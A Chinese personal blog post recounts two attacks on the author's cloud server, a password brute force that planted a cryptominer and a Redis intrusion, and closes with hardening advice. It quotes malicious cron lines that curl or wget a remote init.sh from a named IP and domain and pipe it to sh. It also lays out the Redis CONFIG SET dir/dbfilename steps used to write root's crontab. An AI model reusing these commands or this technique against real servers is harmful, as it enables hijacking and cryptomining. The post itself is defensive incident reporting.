云服日常被攻击(一&二)
咕咕咕 fishing

被攻击经历一

第一次被攻击是在2022年11月12日,16点39分。手机突然收到了腾讯云的短信,有恶意文件。
然后干的第一件事就是从小程序把服务器停了(服务器上没啥重要服务,纯用来练手玩的一些东西
后来就是上服务器排查哪出的问题,最后发现是账号密码被爆破了。

由于大创项目的原因,服务器是三个人一起用的,我给那俩人都创建了账号,权限也都给了。
关键的点来了,其中一个账号密码是 123456 ,属于是绷不住了。
因为恶意文件的创建者都是那个账号,所以确定是这个账户密码泄露了。

恶意文件是用于挖矿的 shell 。开机就给我 cpu 干满了,属于是毫不遮掩了。
后续就是重装了系统,并且使用强密码。(后面要说,其实用处不大

还有要说的就是它的攻击方式
爆破用户名和密码,挺低级的。不过肯定是用被攻陷的肉鸡去爆破,同时还挖矿,吃满资源。
我恨挖矿的,真该死啊

被攻击经历二

第二次被攻击是在2023年12月18日发现的,但是并没有造成影响。这次我的应用是跑在 docker 容器中的。
那天发现 redis 里有这几个奇怪的 string。这定时任务显然是有巨大问题的,不是我的程序写进去的。

1
2
3
4
*/2 * * * * root cd1 -fsSL http://45.83.123.29/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://45.83.123.29/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh

然后去了这些网址看了看都是下载了什么 shell 脚本。一看,好家伙!又是挖矿的。(这群人真该死啊
下面这篇文章讲了关于 redis 的安全问题,也包含了我这次被攻击的攻击细节。
Databases. EXPOSED! (Redis)

详细的就去看上面的文章吧。下面简单讲下攻击原理。
最开始也是爆破,不过这次爆破的是暴露在公网上的 redis 服务。(建议换个端口,不使用默认的 6379,不过用处不是很大
至于为什么会选择 redis ,也许 redis 配置文件的注释就给出了答案。

1
2
3
4
5
# Warning: since Redis is pretty fast an outside user can try up to
# 150k passwords per second against a good box. This means that you should
# use a very strong password otherwise it will be very easy to break.

# 警告:由于Redis速度相当快,外部用户每秒可以在一个好盒子上尝试多达150k个密码。这意味着你应该使用一个非常强的密码,否则很容易被破解。

所以即便我的密码是强密码 ~Dx33ZWi>}d8LFvwuZKo ,但是丝毫不影响被爆破出来。(只是它花的时间会更久一些。
进入 redis 后,会执行 FLUSHALL 删除 redis 服务器上的所有数据。这样做是为了使以下键/值的内容尽可能靠近数据库文件的开头写入。
然后写入类似上面的键值对 SET backup1 “\n\n\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\n\n\n”
执行 CONFIG SET dir “/var/spool/cron/“ 将 redis 的 data 目录设置为系统的 “/var/spool/cron/“ 目录,默认目录是 “crond” 进程找到并执行单个用户 crontabs 的目录。
执行 CONFIG SET dbfilename “root” 将 redis 的数据文件名设置为 “root”,这意味着数据库的内容将存储在 “/var/spool/cron/root” 中,即 root 用户的个人 crontab 文件。
最后执行 save 使 redis 服务器将内存同步到磁盘,如果成功,crontab 进程将读取并执行 “/var/spool/cron/root” 的内容。

到这里,服务器就不属于你了。
除了写入定时任务脚本以启动进程,也可以写入 .ssh/authorized_keys 文件来添加密钥。

修复建议

如那篇文章所说:

  • Enable client authentication in your Redis configuration file.
    在Redis配置文件中启用客户端身份验证。
  • Configure Redis to only run on internal-facing network interfaces.
    将Redis配置为只在面向内部的网络接口上运行。
  • Disable the “CONFIG” command by running ‘rename-command CONFIG “”’ to avoid configuration abuse.
    通过运行”rename-command CONFIG”禁用”CONFIG”命令,以避免配置滥用。
  • Configure your firewall only to accept Redis connections from trusted hosts.
    配置防火墙只接受来自可信主机的Redis连接。

最后,挖矿的真该死啊!